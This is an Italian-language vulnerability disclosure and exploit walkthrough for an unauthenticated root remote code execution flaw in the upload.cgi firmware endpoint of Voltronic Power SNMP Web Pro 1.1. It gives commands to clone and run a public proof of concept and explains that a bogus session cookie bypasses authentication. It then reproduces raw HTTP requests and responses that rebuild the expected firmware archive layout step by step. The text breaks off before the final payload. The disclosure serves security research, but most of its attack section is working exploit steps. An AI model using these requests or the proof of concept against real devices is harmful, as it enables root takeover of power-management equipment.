
Esecuzione remota di comandi come root completo senza autenticazione in Voltronic Power SNMP Web Pro 1.1
Esecuzione Remota Completa di Comandi senza autenticazione in Voltronic Power SNMP Web Pro 1.1
SNMP Web Pro 1.1 contiene una vulnerabilità di esecuzione remota di codice non autenticata nell'endpoint upload.cgi. La funzionalità di aggiornamento del firmware consente agli utenti di caricare un archivio tar, che viene poi estratto e installato senza alcuna validazione dell'input o controllo di sicurezza. L'applicazione non riesce a limitare o sanificare il contenuto dell'archivio, quindi un attaccante può caricare un archivio appositamente modificato contenente script CGI dannosi. Con un po' di tentativi ed errori - e molto aiuto dalle informazioni che ogni risposta divulga - è possibile ricostruire il formato esatto di archivio previsto e crearne uno dannoso.
Inoltre, l'endpoint non valida correttamente l'autenticazione: fornire un cookie di sessione manipolato o non valido è sufficiente per aggirare i controlli di accesso e raggiungere la funzionalità vulnerabile senza credenziali valide, anche se il front-end richiede chiaramente un login per utilizzarla.
Lo sfruttamento riuscito consente a un attaccante di inserire file eseguibili arbitrari nella directory del server CGI ed eseguire comandi con privilegi di root.
git clone https://github.com/Virgula0/CVE-2026-44402 && cd CVE-2026-44402
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 poc.py
Tutto quanto segue è stato eseguito contro un'istanza locale (http://localhost:5555). Due cose rendono banale l'intero esercizio fin dall'inizio:
Cookie: -http-session-=NOT_VALID è tutto ciò di cui abbiamo bisogno per ogni richiesta - il parametro di query sid è un valore casuale generato dal JavaScript del front-end e viene altrettanto ignorato dal server.I passaggi seguenti seguono questo ciclo. Le richieste sono ridotte agli header minimi a cui il server presta realmente attenzione.
La primissima richiesta ci dice già dove il server si aspetta che si trovi l'archivio del firmware. Nota che params=extract chiede al CGI di estrarre un archivio, non di riceverne uno: non è stato ancora caricato nulla, l'endpoint cerca semplicemente di decomprimere ciò che si aspetta di trovare su disco.
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
Risposta:
HTTP/1.1 503 Service Unavailable
Set-Cookie: -http-session-=6285::http.session::c554063a20f58778321bde709c8b5b88; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:03:21 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 124
tar: can't open '/root/upgrade.tar.gz': No such file or directory
Content-Type:text/html;charset=UTF-8
upgrade=extract
(NAK
Il corpo è oro puro. Oltre al (NAK (riconoscimento negativo) che ci informa del fallimento dell'operazione, l'output grezzo del binario tar è incorporato integralmente nella risposta: sta tentando di estrarre /root/upgrade.tar.gz. Nota anche il percorso di installazione /root - stiamo parlando con un processo privilegiato.
Due fatti per il piano di sfruttamento:
upgrade.tar.gz e depositato in /root. Il nome del nostro file non ha importanza.Per prima cosa, crea un archivio tar fittizio (il caricamento è una POST multipart; la sua traccia non è interessante - sono le chiamate GET a determinare tutto il comportamento):
tar czvf test.tar.gz test.txt
test.txt
Avvia il ciclo: carica l'archivio, quindi estrailo:
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6287::http.session::11fcdf2cb70f9c5eb9156351f1c99a19; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:08:01 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=extract
(ACK
(ACK - l'estrazione è andata a buon fine senza lamentele. Il ciclo (carica -> estrai -> installa) è la struttura dell'intero exploit; d'ora in poi cambia solo il passo di installazione, quindi le prossime tracce mostrano solo la riga di richiesta e il corpo della risposta (gli header restano identici a quelli precedenti).
upgradeL'estrazione funziona, è ora di installare. La risposta, come previsto, è diversa:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6315::http.session::813a6112002ec3f3ca149abe514cfba9; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:15:42 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 63
upgrade=install
(ACKsh: cd: line 1: can't cd to /root/upgrade*
Ancora (ACK, ma i residui di un comando shell trapelano: cd: line 1: can't cd to /root/upgrade*. L'installer esegue shell arbitraria - tenta di fare cd in un glob che si espande in una cartella chiamata upgrade all'interno dell'archivio estratto. Il nostro innocuo archivio piatto (test.txt alla radice) non soddisfa il glob. Soluzione facile: ricrea il pacchetto con una directory upgrade/ di primo livello.
mkdir upgrade && cd upgrade && touch test.txt
tar czvf test.tar.gz upgrade
upgrade/
upgrade/test.txt
Poi ripeti i primi due passi del ciclo: ricarica l'archivio, estrailo di nuovo.
install.shDi nuovo la stessa chiamata di installazione, e la fuga di informazioni è ancora migliore:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6318::http.session::3e74062cf64c49f5ef94905347698a71; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:19:52 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 65
upgrade=install
(ACKchmod: install.sh: No such file or directory